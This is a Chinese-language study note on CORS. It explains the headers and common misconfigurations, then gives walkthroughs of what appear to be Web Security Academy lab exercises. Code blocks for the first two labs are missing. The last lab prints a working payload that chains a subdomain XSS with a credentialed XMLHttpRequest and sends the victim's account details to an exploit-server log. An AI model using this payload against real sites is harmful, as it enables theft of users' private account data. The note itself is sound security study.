一,CORS
cors 用于允许访问来自不同源的资源,是同源策略 sop 的放宽
二。CORS 工作原理
1.请求方发送跨域请求时浏览器自动添加 origin 头
2。服务器返回控制策略头:
3,浏览器根据响应头决定是否允许 js 成功读取响应
三,常见 CORS 响应头
| 响应头 | 含义 |
|---|---|
Access-Control-Allow-Origin | 指定允许访问的跨域来源(可为 * 或指定域) |
Access-Control-Allow-Credentials | 是否允许携带凭据(如 Cookie) |
Access-Control-Allow-Methods | 允许的方法如 GET/POST |
Access-Control-Allow-Headers | 允许的自定义请求头 |
Access-Control-Expose-Headers | 比如 token 等可读的响应头 |
四,CORS 漏洞
服务器错误的相信了不应该信任的来源,并允许浏览器携带凭据访问敏感接口
五,常见攻击方式
1.任意来源信任
直接将请求头中的 origin 作为 access-control-allow-origin 返回,灭有做任何校验,任何域都被当作可信任域
2.信任 null
开发时使用 null 来方便测试,攻击者可利用沙箱 iframe 触发跨域读取
3.信任 http 协议的来源
中间人攻击拦截 http 请求获取漏洞凭据
4.信任子域
信任*.example.com,攻击者可注册子域名来利用执行跨域请求,也可能利用网站中子域名网站的漏洞来攻击主站

完成登录页流程,在历史请求中发现一个接口返回敏感信息

Access-Control-Allow-Credentials: true 疑似存在跨域资源共享
添加 origin 请求头,发送后发现添加的任意域被添加到 Access-Control-Allow-Origin ,说明服务器并未对其来源做校验,直接返回源导致浏览器信任陌生的来源
构造恶意代码:
在钓鱼网站写入上述代码,受害者访问页面时触发代码,浏览器自动携带 cookie 访问对应网站的对应内容并将相应结果发送给攻击者

与上面一题一样,但是服务器对源做了校验,null 被错误的包含在了白名单中
构造代码有所不同:

这次服务器对子域名信任,本来想能否通过控制一个子域名网站来完成攻击,但是靶场已经提供一个子域名

点击产品 checkstock 会弹出子域名网站,并且存在 xss 漏洞
<script> document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script>